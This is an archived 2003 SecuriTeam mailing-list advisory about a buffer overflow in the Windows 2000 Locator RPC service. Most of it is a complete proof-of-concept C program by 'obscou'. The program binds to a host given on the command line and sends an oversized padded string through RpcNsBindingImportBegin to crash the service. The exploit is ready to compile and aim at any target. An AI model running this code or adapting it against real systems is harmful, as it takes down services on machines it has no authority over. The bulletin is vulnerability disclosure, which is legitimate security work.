[EXPL] Locator Service Buffer Overflow Exploit Code
From: support@securiteam.com
Date: 03/19/03
- Previous message: support@securiteam.com: "[UNIX] PHP-Nuke Referer Hijacking (HTTP_REFERER)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 19 Mar 2003 14:04:31 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
In the US?
Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!
Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -
Locator Service Buffer Overflow Exploit Code
------------------------------------------------------------------------
SUMMARY
As we reported in our previous article:
<http://www.securiteam.com/windowsntfocus/5NP0N0U8UU.html> Unchecked
Buffer in Locator Service Could Lead to Code Execution and
<http://www.securiteam.com/windowsntfocus/5KP0U008VY.html> Locator Service
Buffer Overflow Vulnerability, a buffer overflow in the Locator service
allows a remote attacker to cause the Locator service to crash.
DETAILS
Exploit:
/* Proof of concept, by obscou
* Locator (RPC Service)
*
* Compiling with : Rpcrt4.lib Rpcns4.lib */
#include <stdio.h>
#include <windows.h>
#include <rpc.h>
unsigned char str[]=
"/.:/00000000000000000000000000000000000000000000000000"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
"DDDDDDD"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
"GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
"GGGGGGG"
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
"HHHHHHH"
"IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
"JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ"
"KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK"
"LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL"
"MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
"MMMMMMMMMMMM"
"NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN"
"NNNNNNN"
"OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"
"OOOOOOO"
"PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP"
"QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ"
"QQQQQQQ"
"RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR"
"RRRRRRR"
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
"TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT";
int main(int argc, char **argv)
{
RPC_STATUS status;
RPC_BINDING_HANDLE IfHandle;
RPC_NS_HANDLE ImportContext;
unsigned char * pszUuid = (unsigned char * )NULL;
unsigned char * pszProtocolSequence = (unsigned char *
)"ncacn_ip_tcp";
unsigned char * pszNetworkAddress;
unsigned char * pszEndpoint = (unsigned char * )NULL;
unsigned char * pszOptions = (unsigned char * )NULL;
unsigned char * pszStringBinding = (unsigned char * )NULL;
printf("Win2k Locator Vuln : proof of concept by obscou\n");
if(argc!=2) {
printf("Arguments : %s HOST\n",argv[0]);
return FALSE;
}
pszNetworkAddress=(unsigned char * )argv[1];
status = RpcStringBindingCompose(pszUuid,
pszProtocolSequence,
pszNetworkAddress,
pszEndpoint,
pszOptions,
&pszStringBinding);
printf("RpcBindingStringCompose...");
if (status!=RPC_S_OK) printf("Error\n"); else printf("Ok\n");
status = RpcBindingFromStringBinding(pszStringBinding,&IfHandle);
printf("RpcBindingFromStringBinding...");
if (status!=RPC_S_OK) printf("Error\n"); else printf("Ok\n");
status = RpcNsBindingImportBegin(RPC_C_NS_SYNTAX_DEFAULT,
str,
IfHandle,
NULL,
&ImportContext);
status = RpcStringFree(&pszStringBinding);
printf("RpcStringFree...");
if (status!=RPC_S_OK) printf("Error\n"); else printf("Ok\n");
status = RpcBindingFree(&IfHandle);
printf("RpcBindingFree...");
if (status!=RPC_S_OK) printf("Error\n"); else printf("Ok\n");
printf("Done... service might be down...\n");
return TRUE;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:obscou@dr.com> Robert
Durang.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[UNIX] PHP-Nuke Referer Hijacking (HTTP_REFERER)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|